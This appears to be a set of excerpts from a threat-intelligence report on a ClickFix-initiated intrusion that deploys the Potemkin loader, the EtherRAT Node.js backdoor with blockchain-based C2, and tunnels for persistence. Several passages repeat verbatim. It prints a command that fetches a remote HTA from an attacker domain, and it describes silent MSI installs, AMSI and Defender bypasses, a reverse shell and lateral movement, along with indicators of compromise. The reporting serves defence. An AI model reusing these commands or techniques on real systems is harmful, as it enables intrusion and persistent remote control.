EtherRAT

The first mechanism was a scheduled task to retrieve and execute EtherRAT called msiInstall2... The attacker then established a second scheduled task named ekShell2

File Path C:\Windows\Temp\D0OK1nWwId9W.ps1 First malicious PowerShell script dropped ... File Path C:\ProgramData\p\fsjH6IHuUkhh.ps1 AMSI bypass + Defender registry disable + reflective Chisel load

cmd /min /c "pcalua.exe -a mshta.exe -c hxxps://cl.distritovagas.com/hte[.]hta"

RlLF3rizah.ini is the loader JavaScript, MseKOytIWeVrP85.xml is the encrypted payload... Decrypting MseKOytIWeVrP85.xml with the cipher above yields the payload: EtherRAT, a Node.js backdoor.

ClickFix is a social engineering trick that presents users with a fake troubleshooting instruction on a compromised website. The prompt tells the user to press Win+R, paste a command into the Windows Run dialog, and hit Enter.

The attack started with a ClickFix command that abused pcalua.exe to proxy mshta.exe, fetching a remote HTA file from cl.distritovagas[.]com. That HTA payload silently downloaded the MSI installer, inst24.msi, from an attacker-controlled server and executed it without any prompt.

The first mechanism was a scheduled task to retrieve and execute EtherRAT called msiInstall2... The attacker then established a second scheduled task named ekShell2

They cycled through AMSI patches, registry policy writes... File Path C:\ProgramData\p\ek_full.ps1 Registry-based Defender disable script

The MSI deployed Potemkin into the user’s AppData folder and registered a startup registry key so it would survive every reboot. ... Registry Key HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RunSearch Potemkin loader persistence key ... HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\EdgeUpdate EtherRAT persistence key

The first mechanism was a scheduled task to retrieve and execute EtherRAT called msiInstall2... The attacker then established a second scheduled task named ekShell2

The MSI deployed Potemkin into the user’s AppData folder and registered a startup registry key so it would survive every reboot. ... Registry Key HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RunSearch Potemkin loader persistence key ... HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\EdgeUpdate EtherRAT persistence key

MseKOytIWeVrP85.xml is the encrypted payload... Potemkin protects two categories of strings with a custom byte cipher

After startup, the RAT sends its own source code to the C2 server. The C2 responds with a newly obfuscated version of the script, which is written back to disk, making each execution generate a new file hash.

The Cloudflare cloudflared client, renamed to svchost.exe to pose as a Windows process... Persistence was registered under the user Run key ... EdgeUpdate

The dc() function reads MseKOytIWeVrP85.xml and decrypts it into JavaScript with a custom byte cipher

The HTA payload hides its window, uses WScript.Shell to run curl silently downloading an MSI from an attacker-controlled domain... then executes it via msiexec /qn for silent installation.

EtherRAT does not hardcode a C2 domain. Instead it uses EtherHiding for evasion, meaning that it reads its C2 address from the Ethereum blockchain.

cmd.exe /d /s /c “net session”

The HTA payload hides its window... conhost.exe, the legitimate Console Window Host, is invoked with --headless , which suppresses the console window

They cycled through AMSI patches, registry policy writes... File Path C:\ProgramData\p\ek_full.ps1 Registry-based Defender disable script

cmd.exe /d /s /c “net session”

After the EtherRAT execution, we observed different post-compromised cmd.exe activities to check the environment. For example: powershell ... “(Get-WmiObject Win32_VideoController).Name” ... “(Get-WmiObject Win32_ComputerSystem).Domain” ... “(Get-WmiObject Win32_ComputerSystem).PartOfDomain”

EtherRAT does not hardcode a C2 domain. Instead it uses EtherHiding for evasion, meaning that it reads its C2 address from the Ethereum blockchain.

cmd.exe /d /s /c “net session”

the attacker leveraged WMI and SMB for remote command execution... spreading laterally via WMIExec and SMBExec

The payload in every case was the same MSI, EGGjVyW9Uloz.msi, pulled from the attacker's own ADMIN$\Temp share on 77.110.122[.]58

EtherRAT is a RAT developed in Node.js which allows an attacker to gain complete control over the machine and execute arbitrary code returned by the Command and Control (C2) server.

For each candidate domain, Potemkin sends an HTTP GET request to a fixed URL path... EtherRAT enters an endless polling loop. Each request goes to a freshly randomized URL

Five hours later, the attacker dropped EtherRAT and set up a Cloudflare tunnel using a renamed copy of cloudflared... A reverse shell on port 43301 and multiple Chisel SOCKS tunnels gave them layered persistence

A reverse shell on port 43301 and multiple Chisel SOCKS tunnels gave them layered persistence that could survive individual detections.

That script downloaded and installed an MSI package in the background with no visible indication to the user. Separately, the attacker deployed EtherRAT... Five hours later, the attacker dropped EtherRAT and set up a Cloudflare tunnel using a renamed copy of cloudflared.

The custom "Potemkin" loader used a deterministic DGA and custom cipher to deploy RMMProject. RMMProject RAT bypassed Chrome's App-Bound Encryption and embedded a LuaJIT scripting engine. The threat actors deployed EtherRAT...

Potemkin doesn't have a hardcoded C2 address... every time it needs to talk to its operator, it generates a list of candidate domain names

The threat actors deployed EtherRAT and ultimately disabled Windows Defender completely.